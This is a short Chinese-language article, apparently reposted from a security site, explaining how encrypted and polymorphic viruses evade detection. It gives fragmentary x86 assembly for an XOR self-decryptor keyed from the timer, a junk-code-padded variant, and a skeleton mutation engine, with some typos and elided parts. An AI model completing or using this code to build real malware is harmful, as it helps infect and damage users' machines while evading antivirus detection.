早期的简单加密病毒工作范例如下:
@entry:
call @1
@1: pop bp
lea di,[bp+@3-@1]
@2: xor byte ptr cs:[di],0
@key = $-1
inc di
loop @2
@3: ... ;病毒的主要代码
@4: ;这里假设,es:di指向用于储存加密后代码的缓冲区
mov cx,@end-@entry
lea si,[bp+@entry-@1]
push ds
push cs
pop ds
in al,41h
mov byte ptr [@key],al ;可将由41h端口读入的timer作为key
rep movsb
lea si,[di+@3-entry]
mov cx,@end-entry
@5: xor byte ptr es:[si],al
inc si
loop @5
...
@end:
用一个简单的xor操作,以timer值作为KEY对代码进行加密.由此病毒的主体可能有256种变化,用一个更长的KEY可以得到更多的变化.但是用于解密的代码却是不变的,这是简单加密病毒的弱点.
看看以下这个稍作修改的例子:
@entry:
call @1
@1: mov ax,12h
pop bp
sub ax,cx
lea di,[bp+@3-@1]
@2: add ax,bx
xor bype ptr cs:[di],0
@key =$-1
jnz $+2
inc di
mov ax,[12h]
loop @2
@3:
...
它和上面的例子功能是一样的,但看上去却是不同的代码.这就是变形病毒的关键:产生一些无用的代码夹在解密的代码中,使得每次的解密代码看上去是不一样的.
选择垃圾代码的原则:1.不会破坏有用的REGISTER;2.不改变MEMORY的内容;
3.解密代码要用FLAGS时也不能改变FLAGS.上面的例子中只需遵循1,2.
一个由普通病毒改为变形病毒的例子如下:
VirusEntry:
...
infect:
.286c
push offset VirusEntry
push offset buffer
call Encrypt ;encrypt virus to buffer
... ;merge buffer to executable file
Encrypt proc near
decrypt:db sizeof(call $+5),rawcode(call $+5) ;定义如下,
db sizeof(pop bp),rawcode(pop bp) ;一条代码的长度
;代码的机器码
...
db 0
;repeat
;generate junk code and write buffer
;wirte one decrypt code to buffer
;untile all decrypt code has been written
;encrypt virus and wirte buffer
ret
endp
一个变形引擎可以用于任何病毒源码,使它成为一个变形病毒.这就是变形引擎的工作原理. (完)
转载地址:http://www.netsp.com.cn/Article/netsafe/virus/200607/20060721201303.html